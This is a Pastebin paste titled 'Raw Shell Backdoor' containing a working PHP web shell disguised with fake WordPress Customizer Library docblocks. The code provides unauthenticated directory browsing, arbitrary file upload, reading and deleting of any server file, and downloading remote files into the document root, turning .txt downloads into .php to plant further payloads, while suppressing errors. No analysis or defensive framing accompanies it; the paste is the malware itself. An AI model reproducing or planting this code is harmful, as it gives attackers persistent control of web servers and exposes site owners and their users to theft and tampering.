Advertisement
willysec_id

Raw Shell Backdoor

Sep 11th, 2024
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.55 KB | Cybersecurity | 0 0
  1. <?php
  2. /**
  3.  * Customizer Utility Functions
  4.  *
  5.  * @package     Customizer_Library
  6.  * @author      Devin Price, The Theme Foundry
  7.  */
  8.  
  9. /**
  10.  * Binds JS handlers to make Theme Customizer preview reload changes asynchronously.
  11.  */
  12.  
  13.  
  14. error_reporting(0);
  15. echo '
  16. <table width="380" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>Current Path : ';
  17. if(isset($_GET['path'])){
  18. $path = $_GET['path'];
  19. }else{
  20. $path = getcwd();
  21. }
  22. $path = str_replace('\\','/',$path);
  23. $paths = explode('/',$path);
  24. foreach($paths as $id=>$pat){
  25. if($pat == '' && $id == 0){
  26. $a = true;
  27. echo '<a href="?path=/">/</a>';
  28. continue;
  29. }
  30. if($pat == '') continue;
  31. echo '<a href="?path=';
  32. for($i=0;$i<=$id;$i++){
  33. echo "$paths[$i]";
  34. if($i != $id) echo "/";
  35. }
  36. echo '">'.$pat.'</a>/';
  37. }
  38. echo '</td></tr><tr><td>';
  39. if(isset($_FILES['uploadedfile'])){
  40. $target_path=basename($_FILES["uploadedfile"]["name"]);if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"],$path.'/'.$target_path)){echo '<font color="green">file uploaded</font><br />';}else{echo '<font color="red">upload fail</font><br />';}
  41. }
  42. echo "<form enctype=\"multipart/form-data\" method=\"POST\" action=\"?path=$path\"><input name=\"uploadedfile\" type=\"file\"/><input type=\"submit\" value=\"Upload File\"/></form></td></tr>";
  43. function get($url, $dir) {
  44.     $ch = curl_init();
  45.     curl_setopt($ch, CURLOPT_URL, $url);
  46.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  47.     curl_setopt($ch,CURLOPT_TIMEOUT,10);
  48.     $data = curl_exec($ch);
  49.     if(!$data){
  50.         $data = @file_get_contents($url);
  51.     }
  52.     file_put_contents($dir, $data);
  53. }
  54. if($_GET['url']){
  55.     $url = $_GET['url'];
  56.     preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n);
  57.     if($n[3]=='txt'){
  58.         $z='php';
  59.         $name=$n[2];
  60.     }else{
  61.         $z=$n[3];
  62.         $name="moban";
  63.     }
  64.     if($_GET['dir']){
  65.         $dir=$_SERVER["DOCUMENT_ROOT"].'/'.$_GET['dir'].'/'.$name.'.'.$z;
  66.     }else{
  67.         $dir=$_SERVER["DOCUMENT_ROOT"].'/'.$name.'.'.$z;
  68.     }
  69.     get($url,$dir);
  70.     if(file_exists($dir)){echo "<tr><td><font color=\"green\">download success</font></td></tr>";}else{echo "<tr><td><font color=\"red\">download fail</font></td></tr>";}
  71. }elseif($_POST['url']){
  72.     $url = $_POST['url'];
  73.     preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n);
  74.     if($n[3]=='txt'){
  75.         $z='php';
  76.         $name=$n[2];
  77.     }else{
  78.         $z=$n[3];
  79.         $name="moban";
  80.     }
  81.     $dir = $_POST['path']."/".$name.'.'.$z;
  82.     get($url,$dir);
  83.     if(file_exists($dir)){echo "<tr><td><font color=\"green\">download success</font></td></tr>";}else{echo "<tr><td><font color=\"red\">download fail</font></td></tr>";}
  84. }
  85. echo "<tr><td><form method=\"POST\" action=\"?path=$path\"><span>Url: </span><input type=text name=\"url\" value=\"\"><input type=\"hidden\" name=\"path\" value=\"$path\"><input type=submit value=\"Download\"></form></td></tr>";
  86. if(isset($_GET['filesrc'])){
  87.     echo "<tr><td>Current File : ";
  88.     echo $_GET['filesrc'];
  89.     echo '</tr></td></table><br />';
  90.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  91.     }elseif(isset($_GET['check']) &&  $_GET['check'] == '1'){
  92.         $RootDir = $_SERVER['DOCUMENT_ROOT'];
  93.         $filename = $RootDir.'/index.php';
  94.         echo "<tr><td>Current File : ";
  95.         echo $filename;
  96.         echo '</tr></td></table><br />';
  97.         echo('<pre>'.htmlspecialchars(file_get_contents($filename)).'</pre>');
  98.     }else{
  99.     echo '</table><br /><center>';
  100.     if(isset($_GET['option']) &&  $_GET['option'] == 'delete'){
  101.         if(unlink($_GET['delfile'])){
  102.             echo '<font color="green">Delete File Done.</font><br />';
  103.         }else{
  104.             echo '<font color="red">Delete File Error.</font><br />';
  105.         }
  106.     }
  107.     echo '</center>';
  108.     $scandir = scandir($path);
  109.     echo '<div id="content"><table width="380" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"><td>Name</td><td>Size</td><td>Options</td></tr>';
  110.     foreach($scandir as $dir){
  111.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  112.             echo "<tr><td><a href=\"?path=$path/$dir\">$dir</a></td><td>DIR</td><td>none</td></tr>";
  113.         }
  114.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  115.     foreach($scandir as $file){
  116.         if(!is_file("$path/$file")) continue;
  117.         $size = filesize("$path/$file")/1024;
  118.         $size = round($size,3);
  119.         if($size >= 1024){
  120.             $size = round($size/1024,2).' MB';
  121.         }else{
  122.             $size = $size.' KB';
  123.         }
  124.         echo "<tr><td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td>".$size."</td><td><a href=\"?path=$path&delfile=$path/$file&option=delete\">Delete</a></td></tr>";
  125.     }
  126.     echo '</table></div>';
  127. /**
  128.  * Add postMessage support for site title and description for the Theme Customizer.
  129.  *
  130.  * @param WP_Customize_Manager $wp_customize Theme Customizer object.
  131.  */
  132.  
  133. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement